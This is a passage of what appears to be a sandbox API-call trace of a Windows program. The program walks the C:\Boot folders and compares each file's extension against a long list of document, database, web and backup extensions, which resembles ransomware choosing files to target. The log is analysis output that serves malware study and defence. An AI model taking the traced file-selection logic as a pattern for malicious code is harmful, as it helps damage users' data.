[0033.912] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".docm") returned 5 [0033.912] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".docx") returned 5 [0033.912] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.912] lstrlenW (lpString=".dot") returned 4 [0033.913] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dotm") returned 5 [0033.913] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dotx") returned 5 [0033.913] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dpx") returned 4 [0033.913] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dqy") returned 4 [0033.913] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dsn") returned 4 [0033.913] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dt") returned 3 [0033.913] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.913] lstrlenW (lpString=".dtd") returned 4 [0033.913] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dwg") returned 4 [0033.913] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dwt") returned 4 [0033.913] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".dx") returned 3 [0033.913] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.913] lstrlenW (lpString=".dxf") returned 4 [0033.913] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".edml") returned 5 [0033.913] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".efd") returned 4 [0033.913] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".elf") returned 4 [0033.913] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".emf") returned 4 [0033.913] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".emz") returned 4 [0033.913] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".epf") returned 4 [0033.913] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".eps") returned 4 [0033.913] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".epsf") returned 5 [0033.913] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".epsp") returned 5 [0033.913] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".erf") returned 4 [0033.913] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".exr") returned 4 [0033.913] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".f4v") returned 4 [0033.913] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.913] lstrlenW (lpString=".fido") returned 5 [0033.913] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.914] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.914] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.949] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.949] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.949] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.949] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.949] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.949] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.949] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.949] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.949] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.949] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.949] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.950] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.950] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.950] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.950] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.950] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.951] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.951] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.951] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.951] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.951] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.951] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.951] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.951] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.951] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.951] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.951] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.951] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.951] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.951] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.951] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.951] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.951] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.951] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.952] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.952] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.952] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.952] FindClose (in: hFindFile=0x972db8 | out: hFindFile=0x972db8) returned 1 [0033.952] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x880000) returned 1 [0033.952] FindNextFileW (in: hFindFile=0x971d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.952] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13 [0033.952] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\fi-FI") returned 1 [0033.952] lstrlenW (lpString="fi-FI") returned 5 [0033.952] lstrcmpiW (lpString1="C:\\Windows", lpString2="fi-FI") returned -1 [0033.952] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0033.952] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13 [0033.952] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x972db8 [0033.952] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.952] FindNextFileW (in: hFindFile=0x972db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.952] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.952] lstrlenW (lpString=".1cd") returned 4 [0033.952] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.952] lstrlenW (lpString=".3ds") returned 4 [0033.952] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".3fr") returned 4 [0033.953] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".3g2") returned 4 [0033.953] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".3gp") returned 4 [0033.953] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".7z") returned 3 [0033.953] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.953] lstrlenW (lpString=".accda") returned 6 [0033.953] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0033.953] lstrlenW (lpString=".accdb") returned 6 [0033.953] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0033.953] lstrlenW (lpString=".accdc") returned 6 [0033.953] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0033.953] lstrlenW (lpString=".accde") returned 6 [0033.953] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0033.953] lstrlenW (lpString=".accdt") returned 6 [0033.953] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0033.953] lstrlenW (lpString=".accdw") returned 6 [0033.953] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0033.953] lstrlenW (lpString=".adb") returned 4 [0033.953] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".adp") returned 4 [0033.953] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".ai") returned 3 [0033.953] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0033.953] lstrlenW (lpString=".ai3") returned 4 [0033.953] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".ai4") returned 4 [0033.953] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".ai5") returned 4 [0033.953] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".ai6") returned 4 [0033.953] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".ai7") returned 4 [0033.953] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".ai8") returned 4 [0033.953] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".anim") returned 5 [0033.953] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0033.953] lstrlenW (lpString=".arw") returned 4 [0033.953] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".as") returned 3 [0033.953] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0033.953] lstrlenW (lpString=".asa") returned 4 [0033.953] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".asc") returned 4 [0033.953] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".ascx") returned 5 [0033.953] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0033.953] lstrlenW (lpString=".asm") returned 4 [0033.953] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".asmx") returned 5 [0033.953] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0033.953] lstrlenW (lpString=".asp") returned 4 [0033.953] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".aspx") returned 5 [0033.954] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0033.954] lstrlenW (lpString=".asr") returned 4 [0033.954] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".asx") returned 4 [0033.954] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".avi") returned 4 [0033.954] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".avs") returned 4 [0033.954] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".backup") returned 7 [0033.954] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0033.954] lstrlenW (lpString=".bak") returned 4 [0033.954] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".bay") returned 4 [0033.954] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".bd") returned 3 [0033.954] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0033.954] lstrlenW (lpString=".bin") returned 4 [0033.954] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".bmp") returned 4 [0033.954] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".bz2") returned 4 [0033.954] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".c") returned 2 [0033.954] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0033.954] lstrlenW (lpString=".cdr") returned 4 [0033.954] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".cer") returned 4 [0033.954] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".cf") returned 3 [0033.954] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0033.954] lstrlenW (lpString=".cfc") returned 4 [0033.954] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".cfm") returned 4 [0033.954] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".cfml") returned 5 [0033.954] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0033.954] lstrlenW (lpString=".cfu") returned 4 [0033.954] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".chm") returned 4 [0033.954] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".cin") returned 4 [0033.954] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".class") returned 6 [0033.954] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0033.954] lstrlenW (lpString=".clx") returned 4 [0033.954] lstrcmpiW 